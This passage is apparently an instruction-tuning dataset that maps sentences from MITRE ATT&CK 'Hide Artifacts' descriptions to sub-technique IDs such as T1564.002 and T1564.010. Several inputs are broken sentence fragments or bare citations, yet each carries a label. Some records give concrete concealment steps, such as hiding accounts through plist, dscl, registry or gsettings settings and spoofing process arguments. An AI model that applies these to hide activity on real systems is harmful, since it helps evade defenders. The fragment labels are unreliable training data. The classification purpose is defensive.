techniques contained in the text. ### Input: These interrupt signals may also be used by defensive tools and/or analysts to pause or terminate specified running processes. ### Response: T1564.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may invoke processes using `nohup`, [PowerShell](https://attack.mitre.org/techniques/T1059/001) `-ErrorAction SilentlyContinue`, or similar commands that may be immune to hangups.(Citation: nohup Linux Man)(Citation: Microsoft PowerShell SilentlyContinue)", "output": "T1564.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may invoke processes using `nohup`, [PowerShell](https://attack.mitre.org/techniques/T1059/001) `-ErrorAction SilentlyContinue`, or similar commands that may be immune to hangups.(Citation: nohup Linux Man)(Citation: Microsoft PowerShell SilentlyContinue) ### Response: T1564.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may enable malicious commands and malware to continue execution through system events that would otherwise terminate its execution, such as users logging off or the termination of its C2 network connection.", "output": "T1564.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may enable malicious commands and malware to continue execution through system events that would otherwise terminate its execution, such as users logging off or the termination of its C2 network connection. ### Response: T1564.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hiding from process interrupt signals may allow malware to continue execution, but unlike [Trap](https://attack.mitre.org/techniques/T1546/005) this does not establish [Persistence](https://attack.mitre.org/tactics/TA0003) since the process will not be re-invoked once actually terminated.", "output": "T1564.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hiding from process interrupt signals may allow malware to continue execution, but unlike [Trap](https://attack.mitre.org/techniques/T1546/005) this does not establish [Persistence](https://attack.mitre.org/tactics/TA0003) since the process will not be re-invoked once actually terminated. ### Response: T1564.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use hidden users to hide the presence of user accounts they create or modify.", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use hidden users to hide the presence of user accounts they create or modify. ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users.", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users. ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes.", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value <code>Hide500Users</code> to <code>TRUE</code> in the <code>/Library/Preferences/com.apple.loginwindow</code> plist file.(Citation:", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value <code>Hide500Users</code> to <code>TRUE</code> in the <code>/Library/Preferences/com.apple.loginwindow</code> plist file.(Citation: ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cybereason OSX Pirrit)", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cybereason OSX Pirrit) ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Every user has a userID associated with it.", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Every user has a userID associated with it. ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When the <code>Hide500Users</code>", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When the <code>Hide500Users</code> ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "key value is set to <code>TRUE</code>, users with a userID under 500 do not appear on the login screen and in System Preferences.", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: key value is set to <code>TRUE</code>, users with a userID under 500 do not appear on the login screen and in System Preferences. ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Using the command line, adversaries can use the <code>dscl</code> utility to create hidden user accounts by setting the <code>IsHidden</code> attribute to <code>1</code>.", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Using the command line, adversaries can use the <code>dscl</code> utility to create hidden user accounts by setting the <code>IsHidden</code> attribute to <code>1</code>. ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can also hide a user\u2019s home folder by changing the <code>chflags</code> to hidden.(Citation: Apple Support Hide a User Account)", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can also hide a user\u2019s home folder by changing the <code>chflags</code> to hidden.(Citation: Apple Support Hide a User Account) ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may similarly hide user accounts in Windows.", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may similarly hide user accounts in Windows. ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can set the <code>HKLM\\SOFTWARE\\Microsoft\\Windows", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can set the <code>HKLM\\SOFTWARE\\Microsoft\\Windows ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList</code>", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList</code> ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Registry key value to <code>0</code> for a specific user to prevent that user from being listed on the logon screen.(Citation:", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Registry key value to <code>0</code> for a specific user to prevent that user from being listed on the logon screen.(Citation: ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A) ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter.", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The method an adversary may use depends on which Display Manager the distribution is currently using.", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The method an adversary may use depends on which Display Manager the distribution is currently using. ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the <code>gsettings</code> command (ex: <code>sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true</code>).(Citation:", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the <code>gsettings</code> command (ex: <code>sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true</code>).(Citation: ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hide GDM User Accounts)", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hide GDM User Accounts) ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Display Managers are not anchored to specific distributions and may be changed by a user or adversary.", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Display Managers are not anchored to specific distributions and may be changed by a user or adversary. ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use email rules to hide inbound emails in a compromised user's mailbox.", "output": "T1564.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. ### Response: T1564.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails.", "output": "T1564.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. ### Response: T1564.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rules may be created or modified within email clients or through external features such as the <code>New-InboxRule</code> or <code>Set-InboxRule</code>", "output": "T1564.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rules may be created or modified within email clients or through external features such as the <code>New-InboxRule</code> or <code>Set-InboxRule</code> ### Response: T1564.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)", "output": "T1564.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule) ### Response: T1564.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders.", "output": "T1564.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. ### Response: T1564.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.", "output": "T1564.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account. ### Response: T1564.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Any user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails.", "output": "T1564.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Any user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. ### Response: T1564.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender.", "output": "T1564.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. ### Response: T1564.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious rules commonly filter out emails based on key words (such as <code>malware</code>, <code>suspicious</code>, <code>phish</code>, and <code>hack</code>) found in message bodies and subject lines.", "output": "T1564.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious rules commonly filter out emails based on key words (such as <code>malware</code>, <code>suspicious</code>, <code>phish</code>, and <code>hack</code>) found in message bodies and subject lines. ### Response: T1564.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Cloud App Security)\n\nIn some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes.", "output": "T1564.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Cloud App Security)\n\nIn some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. ### Response: T1564.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023)", "output": "T1564.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) ### Response: T1564.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications).", "output": "T1564.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications). ### Response: T1564.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications.", "output": "T1564.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. ### Response: T1564.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file\u2019s extended attributes, using <code>ls", "output": "T1564.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file\u2019s extended attributes, using <code>ls ### Response: T1564.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "-l@</code> or <code>xattr -l</code> commands.", "output": "T1564.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: -l@</code> or <code>xattr -l</code> commands. ### Response: T1564.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Resource forks have been deprecated and replaced with the application bundle structure.", "output": "T1564.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Resource forks have been deprecated and replaced with the application bundle structure. ### Response: T1564.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the <code>/Resources</code> folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)", "output": "T1564.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the <code>/Resources</code> folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes) ### Response: T1564.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use resource forks to hide malicious data that may otherwise be stored directly in files.", "output": "T1564.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. ### Response: T1564.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked.", "output": "T1564.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. ### Response: T1564.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation:", "output": "T1564.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: ### Response: T1564.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "tau bundlore erika noerenberg 2020)", "output": "T1564.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: tau bundlore erika noerenberg 2020) ### Response: T1564.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may carry out malicious operations using a virtual instance to avoid detection.", "output": "T1564.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may carry out malicious operations using a virtual instance to avoid detection. ### Response: T1564.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment.", "output": "T1564.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. ### Response: T1564.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance.", "output": "T1564.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. ### Response: T1564.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)", "output": "T1564.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019) ### Response: T1564.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries).", "output": "T1564.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). ### Response: T1564.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)", "output": "T1564.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020) ### Response: T1564.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to hide process command-line arguments by overwriting process memory.", "output": "T1564.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to hide process command-line arguments by overwriting process memory. ### Response: T1564.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process.", "output": "T1564.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. ### Response: T1564.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The PEB includes the process command-line arguments that are referenced when executing the process.", "output": "T1564.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The PEB includes the process command-line arguments that are referenced when executing the process. ### Response: T1564.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.(Citation:", "output": "T1564.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.(Citation: ### Response: T1564.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft PEB 2021)(Citation:", "output": "T1564.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft PEB 2021)(Citation: ### Response: T1564.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Xpn Argue Like Cobalt 2019)", "output": "T1564.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Xpn Argue Like Cobalt 2019) ### Response: T1564.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may manipulate a process PEB to evade defenses.", "output": "T1564.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may manipulate a process PEB to evade defenses. ### Response: T1564.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) can be abused to spawn a process in a suspended state with benign arguments.", "output": "T1564.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) can be abused to spawn a process in a suspended state with benign arguments. ### Response: T1564.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the [Native API](https://attack.mitre.org/techniques/T1106) <code>WriteProcessMemory()</code> function) then resume process execution with malicious arguments.(Citation: Cobalt Strike Arguments 2019)(Citation: Xpn Argue Like Cobalt 2019)(Citation: Nviso Spoof Command Line 2020)", "output": "T1564.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the [Native API](https://attack.mitre.org/techniques/T1106) <code>WriteProcessMemory()</code> function) then resume process execution with malicious arguments.(Citation: Cobalt Strike Arguments 2019)(Citation: Xpn Argue Like Cobalt 2019)(Citation: Nviso Spoof Command Line 2020) ### Response: T1564.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.(Citation: FireEye FiveHands April 2021)", "output": "T1564.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.(Citation: FireEye FiveHands April 2021) ### Response: T1564.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This behavior may also be combined with other tricks (such as [Parent PID Spoofing](https://attack.mitre.org/techniques/T1134/004)) to manipulate or further evade process-based detections.", "output": "T1564.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This behavior may also be combined with other tricks (such as [Parent PID Spoofing](https://attack.mitre.org/techniques/T1134/004)) to manipulate or further evade process-based detections. ### Response: T1564.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may set files and directories to be hidden to evade detection mechanisms.", "output": "T1564.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may set files and directories to be hidden to evade detection mechanisms. ### Response: T1564.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file.", "output": "T1564.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file. ### Response: T1564.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line.", "output": "T1564.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. ### Response: T1564.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls \u2013a</code> for Linux and macOS).", "output": "T1564.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls \u2013a</code> for Linux and macOS). ### Response: T1564.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Linux and Mac, users can mark specific files as hidden simply by putting a \u201c.\u201d", "output": "T1564.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Linux and Mac, users can mark specific files as hidden simply by putting a \u201c.\u201d ### Response: T1564.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "as the first character in the file or folder name  (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware).", "output": "T1564.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: as the first character in the file or folder name  (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). ### Response: T1564.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Files and folders that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d.", "output": "T1564.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Files and folders that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. ### Response: T1564.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users must specifically change settings to have these files viewable.", "output": "T1564.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users must specifically change settings to have these files viewable. ### Response: 